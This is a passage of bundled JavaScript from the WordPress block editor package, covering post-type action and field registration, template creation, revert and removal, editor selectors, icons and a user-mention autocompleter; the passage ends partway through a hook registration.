11489 const supportsTemplateMode = _settings.supportsTemplateMode;
11490 const isViewable = getPostType(item.type)?.viewable ?? false;
11491 const templateId = supportsTemplateMode && isViewable && canViewTemplate ? getTemplateId(item.type, item.id) : null;
11492 return {
11493 settings: _settings,
11494 template: templateId ? getEntityRecord("postType", "wp_template", templateId) : void 0
11495 };
11496 },
11497 [item.type, item.id]
11498 );
11499 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11500 EditorProvider,
11501 {
11502 post: item,
11503 settings,
11504 __unstableTemplate: template,
11505 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPreviewContainer, { template, post: item })
11506 }
11507 );
11508}
11509
11510
11511;// ./node_modules/@wordpress/editor/build-module/dataviews/fields/content-preview/index.js
11512
11513
11514const postPreviewField = {
11515 type: "media",
11516 id: "content-preview",
11517 label: (0,external_wp_i18n_namespaceObject.__)("Content preview"),
11518 render: PostPreviewView,
11519 enableSorting: false
11520};
11521var content_preview_default = postPreviewField;
11522
11523
11524;// ./node_modules/@wordpress/editor/build-module/dataviews/store/private-actions.js
11525
11526
11527
11528
11529
11530
11531function registerEntityAction(kind, name, config) {
11532 return {
11533 type: "REGISTER_ENTITY_ACTION",
11534 kind,
11535 name,
11536 config
11537 };
11538}
11539function unregisterEntityAction(kind, name, actionId) {
11540 return {
11541 type: "UNREGISTER_ENTITY_ACTION",
11542 kind,
11543 name,
11544 actionId
11545 };
11546}
11547function registerEntityField(kind, name, config) {
11548 return {
11549 type: "REGISTER_ENTITY_FIELD",
11550 kind,
11551 name,
11552 config
11553 };
11554}
11555function unregisterEntityField(kind, name, fieldId) {
11556 return {
11557 type: "UNREGISTER_ENTITY_FIELD",
11558 kind,
11559 name,
11560 fieldId
11561 };
11562}
11563function setIsReady(kind, name) {
11564 return {
11565 type: "SET_IS_READY",
11566 kind,
11567 name
11568 };
11569}
11570const registerPostTypeSchema = (postType) => async ({ registry }) => {
11571 const isReady = unlock(registry.select(store_store)).isEntityReady(
11572 "postType",
11573 postType
11574 );
11575 if (isReady) {
11576 return;
11577 }
11578 unlock(registry.dispatch(store_store)).setIsReady(
11579 "postType",
11580 postType
11581 );
11582 const postTypeConfig = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postType);
11583 const canCreate = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).canUser("create", {
11584 kind: "postType",
11585 name: postType
11586 });
11587 const currentTheme = await registry.resolveSelect(external_wp_coreData_namespaceObject.store).getCurrentTheme();
11588 const actions = [
11589 postTypeConfig.viewable ? view_post_default : void 0,
11590 !!postTypeConfig.supports?.revisions ? view_post_revisions_default : void 0,
11591 // @ts-ignore
11592 false ? 0 : void 0,
11593 postTypeConfig.slug === "wp_template_part" && canCreate && currentTheme?.is_block_theme ? duplicate_template_part_default : void 0,
11594 canCreate && postTypeConfig.slug === "wp_block" ? duplicate_pattern_default : void 0,
11595 postTypeConfig.supports?.title ? rename_post_default : void 0,
11596 postTypeConfig.supports?.["page-attributes"] ? reorder_page_default : void 0,
11597 postTypeConfig.slug === "wp_block" ? export_pattern_default : void 0,
11598 restore_post_default,
11599 reset_post_default,
11600 delete_post_default,
11601 trash_post_default,
11602 permanently_delete_post_default
11603 ].filter(Boolean);
11604 const fields = [
11605 postTypeConfig.supports?.thumbnail && currentTheme?.theme_supports?.["post-thumbnails"] && featured_image_default,
11606 postTypeConfig.supports?.author && author_default,
11607 status_default,
11608 date_default,
11609 slug_default,
11610 postTypeConfig.supports?.["page-attributes"] && parent_default,
11611 postTypeConfig.supports?.comments && comment_status_default,
11612 postTypeConfig.supports?.trackbacks && ping_status_default,
11613 (postTypeConfig.supports?.comments || postTypeConfig.supports?.trackbacks) && discussion_default,
11614 template_default,
11615 password_default,
11616 postTypeConfig.supports?.editor && postTypeConfig.viewable && content_preview_default
11617 ].filter(Boolean);
11618 if (postTypeConfig.supports?.title) {
11619 let _titleField;
11620 if (postType === "page") {
11621 _titleField = page_title_default;
11622 } else if (postType === "wp_template") {
11623 _titleField = template_title_default;
11624 } else if (postType === "wp_block") {
11625 _titleField = pattern_title_default;
11626 } else {
11627 _titleField = title_default;
11628 }
11629 fields.push(_titleField);
11630 }
11631 registry.batch(() => {
11632 actions.forEach((action) => {
11633 unlock(registry.dispatch(store_store)).registerEntityAction(
11634 "postType",
11635 postType,
11636 action
11637 );
11638 });
11639 fields.forEach((field) => {
11640 unlock(registry.dispatch(store_store)).registerEntityField(
11641 "postType",
11642 postType,
11643 field
11644 );
11645 });
11646 });
11647 (0,external_wp_hooks_namespaceObject.doAction)("core.registerPostTypeSchema", postType);
11648};
11649
11650
11651;// ./node_modules/@wordpress/editor/build-module/store/private-actions.js
11652
11653
11654
11655
11656
11657
11658
11659
11660
11661
11662
11663function setCurrentTemplateId(id) {
11664 return {
11665 type: "SET_CURRENT_TEMPLATE_ID",
11666 id
11667 };
11668}
11669const createTemplate = (template) => async ({ select, dispatch, registry }) => {
11670 const savedTemplate = await registry.dispatch(external_wp_coreData_namespaceObject.store).saveEntityRecord("postType", "wp_template", template);
11671 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
11672 "postType",
11673 select.getCurrentPostType(),
11674 select.getCurrentPostId(),
11675 {
11676 template: savedTemplate.slug
11677 }
11678 );
11679 registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice(
11680 (0,external_wp_i18n_namespaceObject.__)("Custom template created. You're in template mode now."),
11681 {
11682 type: "snackbar",
11683 actions: [
11684 {
11685 label: (0,external_wp_i18n_namespaceObject.__)("Go back"),
11686 onClick: () => dispatch.setRenderingMode(
11687 select.getEditorSettings().defaultRenderingMode
11688 )
11689 }
11690 ]
11691 }
11692 );
11693 return savedTemplate;
11694};
11695const showBlockTypes = (blockNames) => ({ registry }) => {
11696 const existingBlockNames = registry.select(external_wp_preferences_namespaceObject.store).get("core", "hiddenBlockTypes") ?? [];
11697 const newBlockNames = existingBlockNames.filter(
11698 (type) => !(Array.isArray(blockNames) ? blockNames : [blockNames]).includes(type)
11699 );
11700 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "hiddenBlockTypes", newBlockNames);
11701};
11702const hideBlockTypes = (blockNames) => ({ registry }) => {
11703 const existingBlockNames = registry.select(external_wp_preferences_namespaceObject.store).get("core", "hiddenBlockTypes") ?? [];
11704 const mergedBlockNames = /* @__PURE__ */ new Set([
11705 ...existingBlockNames,
11706 ...Array.isArray(blockNames) ? blockNames : [blockNames]
11707 ]);
11708 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "hiddenBlockTypes", [...mergedBlockNames]);
11709};
11710const saveDirtyEntities = ({ onSave, dirtyEntityRecords = [], entitiesToSkip = [], close } = {}) => ({ registry }) => {
11711 const PUBLISH_ON_SAVE_ENTITIES = [
11712 { kind: "postType", name: "wp_navigation" }
11713 ];
11714 const saveNoticeId = "site-editor-save-success";
11715 const homeUrl = registry.select(external_wp_coreData_namespaceObject.store).getEntityRecord("root", "__unstableBase")?.home;
11716 registry.dispatch(external_wp_notices_namespaceObject.store).removeNotice(saveNoticeId);
11717 const entitiesToSave = dirtyEntityRecords.filter(
11718 ({ kind, name, key, property }) => {
11719 return !entitiesToSkip.some(
11720 (elt) => elt.kind === kind && elt.name === name && elt.key === key && elt.property === property
11721 );
11722 }
11723 );
11724 close?.(entitiesToSave);
11725 const siteItemsToSave = [];
11726 const pendingSavedRecords = [];
11727 entitiesToSave.forEach(({ kind, name, key, property }) => {
11728 if ("root" === kind && "site" === name) {
11729 siteItemsToSave.push(property);
11730 } else {
11731 if (PUBLISH_ON_SAVE_ENTITIES.some(
11732 (typeToPublish) => typeToPublish.kind === kind && typeToPublish.name === name
11733 )) {
11734 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(kind, name, key, {
11735 status: "publish"
11736 });
11737 }
11738 pendingSavedRecords.push(
11739 registry.dispatch(external_wp_coreData_namespaceObject.store).saveEditedEntityRecord(kind, name, key)
11740 );
11741 }
11742 });
11743 if (siteItemsToSave.length) {
11744 pendingSavedRecords.push(
11745 registry.dispatch(external_wp_coreData_namespaceObject.store).__experimentalSaveSpecifiedEntityEdits(
11746 "root",
11747 "site",
11748 void 0,
11749 siteItemsToSave
11750 )
11751 );
11752 }
11753 registry.dispatch(external_wp_blockEditor_namespaceObject.store).__unstableMarkLastChangeAsPersistent();
11754 Promise.all(pendingSavedRecords).then((values) => {
11755 return onSave ? onSave(values) : values;
11756 }).then((values) => {
11757 if (values.some((value) => typeof value === "undefined")) {
11758 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)("Saving failed."));
11759 } else {
11760 registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Site updated."), {
11761 type: "snackbar",
11762 id: saveNoticeId,
11763 actions: [
11764 {
11765 label: (0,external_wp_i18n_namespaceObject.__)("View site"),
11766 url: homeUrl,
11767 openInNewTab: true
11768 }
11769 ]
11770 });
11771 }
11772 }).catch(
11773 (error) => registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(
11774 `${(0,external_wp_i18n_namespaceObject.__)("Saving failed.")} ${error}`
11775 )
11776 );
11777};
11778const private_actions_revertTemplate = (template, { allowUndo = true } = {}) => async ({ registry }) => {
11779 const noticeId = "edit-site-template-reverted";
11780 registry.dispatch(external_wp_notices_namespaceObject.store).removeNotice(noticeId);
11781 if (!isTemplateRevertable(template)) {
11782 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice((0,external_wp_i18n_namespaceObject.__)("This template is not revertable."), {
11783 type: "snackbar"
11784 });
11785 return;
11786 }
11787 try {
11788 const templateEntityConfig = registry.select(external_wp_coreData_namespaceObject.store).getEntityConfig("postType", template.type);
11789 if (!templateEntityConfig) {
11790 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(
11791 (0,external_wp_i18n_namespaceObject.__)(
11792 "The editor has encountered an unexpected error. Please reload."
11793 ),
11794 { type: "snackbar" }
11795 );
11796 return;
11797 }
11798 const fileTemplatePath = (0,external_wp_url_namespaceObject.addQueryArgs)(
11799 `${templateEntityConfig.baseURL}/${template.id}`,
11800 { context: "edit", source: template.origin }
11801 );
11802 const fileTemplate = await external_wp_apiFetch_default()({ path: fileTemplatePath });
11803 if (!fileTemplate) {
11804 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(
11805 (0,external_wp_i18n_namespaceObject.__)(
11806 "The editor has encountered an unexpected error. Please reload."
11807 ),
11808 { type: "snackbar" }
11809 );
11810 return;
11811 }
11812 const serializeBlocks = ({
11813 blocks: blocksForSerialization = []
11814 }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization);
11815 const edited = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
11816 "postType",
11817 template.type,
11818 template.id
11819 );
11820 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
11821 "postType",
11822 template.type,
11823 template.id,
11824 {
11825 content: serializeBlocks,
11826 // Required to make the `undo` behave correctly.
11827 blocks: edited.blocks,
11828 // Required to revert the blocks in the editor.
11829 source: "custom"
11830 // required to avoid turning the editor into a dirty state
11831 },
11832 {
11833 undoIgnore: true
11834 // Required to merge this edit with the last undo level.
11835 }
11836 );
11837 const blocks = (0,external_wp_blocks_namespaceObject.parse)(fileTemplate?.content?.raw);
11838 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord("postType", template.type, fileTemplate.id, {
11839 content: serializeBlocks,
11840 blocks,
11841 source: "theme"
11842 });
11843 if (allowUndo) {
11844 const undoRevert = () => {
11845 registry.dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord(
11846 "postType",
11847 template.type,
11848 edited.id,
11849 {
11850 content: serializeBlocks,
11851 blocks: edited.blocks,
11852 source: "custom"
11853 }
11854 );
11855 };
11856 registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice((0,external_wp_i18n_namespaceObject.__)("Template reset."), {
11857 type: "snackbar",
11858 id: noticeId,
11859 actions: [
11860 {
11861 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
11862 onClick: undoRevert
11863 }
11864 ]
11865 });
11866 }
11867 } catch (error) {
11868 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("Template revert failed. Please reload.");
11869 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, { type: "snackbar" });
11870 }
11871};
11872const removeTemplates = (items) => async ({ registry }) => {
11873 const isResetting = items.every((item) => item?.has_theme_file);
11874 const promiseResult = await Promise.allSettled(
11875 items.map((item) => {
11876 return registry.dispatch(external_wp_coreData_namespaceObject.store).deleteEntityRecord(
11877 "postType",
11878 item.type,
11879 item.id,
11880 { force: true },
11881 { throwOnError: true }
11882 );
11883 })
11884 );
11885 if (promiseResult.every(({ status }) => status === "fulfilled")) {
11886 let successMessage;
11887 if (items.length === 1) {
11888 let title;
11889 if (typeof items[0].title === "string") {
11890 title = items[0].title;
11891 } else if (typeof items[0].title?.rendered === "string") {
11892 title = items[0].title?.rendered;
11893 } else if (typeof items[0].title?.raw === "string") {
11894 title = items[0].title?.raw;
11895 }
11896 successMessage = isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(
11897 /* translators: %s: The template/part's name. */
11898 (0,external_wp_i18n_namespaceObject.__)('"%s" reset.'),
11899 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)
11900 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
11901 /* translators: %s: The template/part's name. */
11902 (0,external_wp_i18n_namespaceObject._x)('"%s" deleted.', "template part"),
11903 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title)
11904 );
11905 } else {
11906 successMessage = isResetting ? (0,external_wp_i18n_namespaceObject.__)("Items reset.") : (0,external_wp_i18n_namespaceObject.__)("Items deleted.");
11907 }
11908 registry.dispatch(external_wp_notices_namespaceObject.store).createSuccessNotice(successMessage, {
11909 type: "snackbar",
11910 id: "editor-template-deleted-success"
11911 });
11912 } else {
11913 let errorMessage;
11914 if (promiseResult.length === 1) {
11915 if (promiseResult[0].reason?.message) {
11916 errorMessage = promiseResult[0].reason.message;
11917 } else {
11918 errorMessage = isResetting ? (0,external_wp_i18n_namespaceObject.__)("An error occurred while reverting the item.") : (0,external_wp_i18n_namespaceObject.__)("An error occurred while deleting the item.");
11919 }
11920 } else {
11921 const errorMessages = /* @__PURE__ */ new Set();
11922 const failedPromises = promiseResult.filter(
11923 ({ status }) => status === "rejected"
11924 );
11925 for (const failedPromise of failedPromises) {
11926 if (failedPromise.reason?.message) {
11927 errorMessages.add(failedPromise.reason.message);
11928 }
11929 }
11930 if (errorMessages.size === 0) {
11931 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
11932 "An error occurred while deleting the items."
11933 );
11934 } else if (errorMessages.size === 1) {
11935 errorMessage = isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(
11936 /* translators: %s: an error message */
11937 (0,external_wp_i18n_namespaceObject.__)(
11938 "An error occurred while reverting the items: %s"
11939 ),
11940 [...errorMessages][0]
11941 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
11942 /* translators: %s: an error message */
11943 (0,external_wp_i18n_namespaceObject.__)(
11944 "An error occurred while deleting the items: %s"
11945 ),
11946 [...errorMessages][0]
11947 );
11948 } else {
11949 errorMessage = isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(
11950 /* translators: %s: a list of comma separated error messages */
11951 (0,external_wp_i18n_namespaceObject.__)(
11952 "Some errors occurred while reverting the items: %s"
11953 ),
11954 [...errorMessages].join(",")
11955 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
11956 /* translators: %s: a list of comma separated error messages */
11957 (0,external_wp_i18n_namespaceObject.__)(
11958 "Some errors occurred while deleting the items: %s"
11959 ),
11960 [...errorMessages].join(",")
11961 );
11962 }
11963 }
11964 registry.dispatch(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, { type: "snackbar" });
11965 }
11966};
11967const setDefaultRenderingMode = (mode) => ({ select, registry }) => {
11968 const postType = select.getCurrentPostType();
11969 const theme = registry.select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.stylesheet;
11970 const renderingModes = registry.select(external_wp_preferences_namespaceObject.store).get("core", "renderingModes")?.[theme] ?? {};
11971 if (renderingModes[postType] === mode) {
11972 return;
11973 }
11974 const newModes = {
11975 [theme]: {
11976 ...renderingModes,
11977 [postType]: mode
11978 }
11979 };
11980 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "renderingModes", newModes);
11981};
11982function setCanvasMinHeight(minHeight) {
11983 return {
11984 type: "SET_CANVAS_MIN_HEIGHT",
11985 minHeight
11986 };
11987}
11988
11989
11990// EXTERNAL MODULE: ./node_modules/fast-deep-equal/index.js
11991var fast_deep_equal = __webpack_require__(5215);
11992var fast_deep_equal_default = /*#__PURE__*/__webpack_require__.n(fast_deep_equal);
11993;// ./node_modules/@wordpress/icons/build-module/library/navigation.js
11994
11995
11996var navigation_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) });
11997
11998
11999;// ./node_modules/@wordpress/icons/build-module/library/verse.js
12000
12001
12002var verse_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z" }) });
12003
12004
12005;// ./node_modules/@wordpress/editor/build-module/dataviews/store/private-selectors.js
12006const private_selectors_EMPTY_ARRAY = [];
12007function getEntityActions(state, kind, name) {
12008 return state.actions[kind]?.[name] ?? private_selectors_EMPTY_ARRAY;
12009}
12010function getEntityFields(state, kind, name) {
12011 return state.fields[kind]?.[name] ?? private_selectors_EMPTY_ARRAY;
12012}
12013function isEntityReady(state, kind, name) {
12014 return state.isReady[kind]?.[name];
12015}
12016
12017
12018;// ./node_modules/@wordpress/editor/build-module/store/private-selectors.js
12019
12020
12021
12022
12023
12024
12025
12026
12027
12028const EMPTY_INSERTION_POINT = {
12029 rootClientId: void 0,
12030 insertionIndex: void 0,
12031 filterValue: void 0
12032};
12033const RENDERING_MODES = ["post-only", "template-locked"];
12034const getInserter = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12035 (select) => (0,external_wp_data_namespaceObject.createSelector)(
12036 (state) => {
12037 if (typeof state.blockInserterPanel === "object") {
12038 return state.blockInserterPanel;
12039 }
12040 if (getRenderingMode(state) === "template-locked") {
12041 const [postContentClientId] = select(external_wp_blockEditor_namespaceObject.store).getBlocksByName(
12042 "core/post-content"
12043 );
12044 if (postContentClientId) {
12045 return {
12046 rootClientId: postContentClientId,
12047 insertionIndex: void 0,
12048 filterValue: void 0
12049 };
12050 }
12051 }
12052 return EMPTY_INSERTION_POINT;
12053 },
12054 (state) => {
12055 const [postContentClientId] = select(external_wp_blockEditor_namespaceObject.store).getBlocksByName(
12056 "core/post-content"
12057 );
12058 return [
12059 state.blockInserterPanel,
12060 getRenderingMode(state),
12061 postContentClientId
12062 ];
12063 }
12064 )
12065);
12066function getListViewToggleRef(state) {
12067 return state.listViewToggleRef;
12068}
12069function getInserterSidebarToggleRef(state) {
12070 return state.inserterSidebarToggleRef;
12071}
12072const CARD_ICONS = {
12073 wp_block: symbol_default,
12074 wp_navigation: navigation_default,
12075 page: page_default,
12076 post: verse_default
12077};
12078const getPostIcon = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12079 (select) => (state, postType, options) => {
12080 {
12081 if (postType === "wp_template_part" || postType === "wp_template") {
12082 const templateAreas = select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [];
12083 const areaData = templateAreas.find(
12084 (item) => options.area === item.area
12085 );
12086 if (areaData?.icon) {
12087 return getTemplatePartIcon(areaData.icon);
12088 }
12089 return layout_default;
12090 }
12091 if (CARD_ICONS[postType]) {
12092 return CARD_ICONS[postType];
12093 }
12094 const postTypeEntity = select(external_wp_coreData_namespaceObject.store).getPostType(postType);
12095 if (typeof postTypeEntity?.icon === "string" && postTypeEntity.icon.startsWith("dashicons-")) {
12096 return postTypeEntity.icon.slice(10);
12097 }
12098 return page_default;
12099 }
12100 }
12101);
12102const hasPostMetaChanges = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12103 (select) => (state, postType, postId) => {
12104 const { type: currentPostType, id: currentPostId } = getCurrentPost(state);
12105 const edits = select(external_wp_coreData_namespaceObject.store).getEntityRecordNonTransientEdits(
12106 "postType",
12107 postType || currentPostType,
12108 postId || currentPostId
12109 );
12110 if (!edits?.meta) {
12111 return false;
12112 }
12113 const originalPostMeta = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
12114 "postType",
12115 postType || currentPostType,
12116 postId || currentPostId
12117 )?.meta;
12118 return !fast_deep_equal_default()(
12119 { ...originalPostMeta, footnotes: void 0 },
12120 { ...edits.meta, footnotes: void 0 }
12121 );
12122 }
12123);
12124function private_selectors_getEntityActions(state, ...args) {
12125 return getEntityActions(state.dataviews, ...args);
12126}
12127function private_selectors_isEntityReady(state, ...args) {
12128 return isEntityReady(state.dataviews, ...args);
12129}
12130function private_selectors_getEntityFields(state, ...args) {
12131 return getEntityFields(state.dataviews, ...args);
12132}
12133const getPostBlocksByName = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12134 (select) => (0,external_wp_data_namespaceObject.createSelector)(
12135 (state, blockNames) => {
12136 blockNames = Array.isArray(blockNames) ? blockNames : [blockNames];
12137 const { getBlocksByName, getBlockParents, getBlockName } = select(external_wp_blockEditor_namespaceObject.store);
12138 return getBlocksByName(blockNames).filter(
12139 (clientId) => getBlockParents(clientId).every((parentClientId) => {
12140 const parentBlockName = getBlockName(parentClientId);
12141 return (
12142 // Ignore descendents of the query block.
12143 parentBlockName !== "core/query" && // Enable only the top-most block.
12144 !blockNames.includes(parentBlockName)
12145 );
12146 })
12147 );
12148 },
12149 () => [select(external_wp_blockEditor_namespaceObject.store).getBlocks()]
12150 )
12151);
12152const getDefaultRenderingMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12153 (select) => (state, postType) => {
12154 const { getPostType, getCurrentTheme, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
12155 const currentTheme = getCurrentTheme();
12156 const postTypeEntity = getPostType(postType);
12157 if (!hasFinishedResolution("getPostType", [postType]) || !hasFinishedResolution("getCurrentTheme")) {
12158 return void 0;
12159 }
12160 const theme = currentTheme?.stylesheet;
12161 const defaultModePreference = select(external_wp_preferences_namespaceObject.store).get(
12162 "core",
12163 "renderingModes"
12164 )?.[theme]?.[postType];
12165 const postTypeDefaultMode = Array.isArray(
12166 postTypeEntity?.supports?.editor
12167 ) ? postTypeEntity.supports.editor.find(
12168 (features) => "default-mode" in features
12169 )?.["default-mode"] : void 0;
12170 const defaultMode = defaultModePreference || postTypeDefaultMode;
12171 if (!RENDERING_MODES.includes(defaultMode)) {
12172 return "post-only";
12173 }
12174 return defaultMode;
12175 }
12176);
12177function getCanvasMinHeight(state) {
12178 return state.canvasMinHeight;
12179}
12180
12181
12182;// ./node_modules/@wordpress/editor/build-module/store/index.js
12183
12184
12185
12186
12187
12188
12189
12190
12191const storeConfig = {
12192 reducer: reducer_reducer_default,
12193 selectors: selectors_namespaceObject,
12194 actions: actions_namespaceObject
12195};
12196const store_store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
12197 ...storeConfig
12198});
12199(0,external_wp_data_namespaceObject.register)(store_store);
12200unlock(store_store).registerPrivateActions(store_private_actions_namespaceObject);
12201unlock(store_store).registerPrivateSelectors(store_private_selectors_namespaceObject);
12202
12203
12204;// ./node_modules/@wordpress/editor/build-module/hooks/custom-sources-backwards-compatibility.js
12205
12206
12207
12208
12209
12210
12211
12212const createWithMetaAttributeSource = (metaAttributes) => (0,external_wp_compose_namespaceObject.createHigherOrderComponent)(
12213 (BlockEdit) => ({ attributes, setAttributes, ...props }) => {
12214 const postType = (0,external_wp_data_namespaceObject.useSelect)(
12215 (select) => select(store_store).getCurrentPostType(),
12216 []
12217 );
12218 const [meta, setMeta] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
12219 "postType",
12220 postType,
12221 "meta"
12222 );
12223 const mergedAttributes = (0,external_wp_element_namespaceObject.useMemo)(
12224 () => ({
12225 ...attributes,
12226 ...Object.fromEntries(
12227 Object.entries(metaAttributes).map(
12228 ([attributeKey, metaKey]) => [
12229 attributeKey,
12230 meta[metaKey]
12231 ]
12232 )
12233 )
12234 }),
12235 [attributes, meta]
12236 );
12237 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12238 BlockEdit,
12239 {
12240 attributes: mergedAttributes,
12241 setAttributes: (nextAttributes) => {
12242 const nextMeta = Object.fromEntries(
12243 Object.entries(nextAttributes ?? {}).filter(
12244 // Filter to intersection of keys between the updated
12245 // attributes and those with an associated meta key.
12246 ([key]) => key in metaAttributes
12247 ).map(([attributeKey, value]) => [
12248 // Rename the keys to the expected meta key name.
12249 metaAttributes[attributeKey],
12250 value
12251 ])
12252 );
12253 if (Object.entries(nextMeta).length) {
12254 setMeta(nextMeta);
12255 }
12256 setAttributes(nextAttributes);
12257 },
12258 ...props
12259 }
12260 );
12261 },
12262 "withMetaAttributeSource"
12263);
12264function shimAttributeSource(settings) {
12265 const metaAttributes = Object.fromEntries(
12266 Object.entries(settings.attributes ?? {}).filter(([, { source }]) => source === "meta").map(([attributeKey, { meta }]) => [attributeKey, meta])
12267 );
12268 if (Object.entries(metaAttributes).length) {
12269 settings.edit = createWithMetaAttributeSource(metaAttributes)(
12270 settings.edit
12271 );
12272 }
12273 return settings;
12274}
12275(0,external_wp_hooks_namespaceObject.addFilter)(
12276 "blocks.registerBlockType",
12277 "core/editor/custom-sources-backwards-compatibility/shim-attribute-source",
12278 shimAttributeSource
12279);
12280
12281;// ./node_modules/@wordpress/editor/build-module/components/autocompleters/user.js
12282
12283
12284
12285
12286function getUserLabel(user) {
12287 const avatar = user.avatar_urls && user.avatar_urls[24] ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12288 "img",
12289 {
12290 className: "editor-autocompleters__user-avatar",
12291 alt: "",
12292 src: user.avatar_urls[24]
12293 }
12294 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-autocompleters__no-avatar" });
12295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12296 avatar,
12297 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-autocompleters__user-name", children: user.name }),
12298 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-autocompleters__user-slug", children: user.slug })
12299 ] });
12300}
12301var user_default = {
12302 name: "users",
12303 className: "editor-autocompleters__user",
12304 triggerPrefix: "@",
12305 useItems(filterValue) {
12306 const users = (0,external_wp_data_namespaceObject.useSelect)(
12307 (select) => {
12308 const { getUsers } = select(external_wp_coreData_namespaceObject.store);
12309 return getUsers({
12310 context: "view",
12311 search: encodeURIComponent(filterValue)
12312 });
12313 },
12314 [filterValue]
12315 );
12316 const options = (0,external_wp_element_namespaceObject.useMemo)(
12317 () => users ? users.map((user) => ({
12318 key: `user-${user.slug}`,
12319 value: user,
12320 label: getUserLabel(user)
12321 })) : [],
12322 [users]
12323 );
12324 return [options];
12325 },
12326 getOptionCompletion(user) {
12327 return `@${user.slug}`;
12328 }
12329};
12330
12331
12332;// ./node_modules/@wordpress/editor/build-module/hooks/default-autocompleters.js
12333
12334
12335function setDefaultCompleters(completers = []) {
12336 completers.push({ ...user_default });
12337 return completers;
12338}
12339(0,external_wp_hooks_namespaceObject.addFilter)(
12340 "editor.Autocomplete.completers",
12341 "editor/autocompleters/set-default-completers",
12342 setDefaultCompleters
12343);
12344
12345;// ./node_modules/@wordpress/editor/build-module/hooks/media-upload.js
12346
12347
12348(0,external_wp_hooks_namespaceObject.addFilter)(
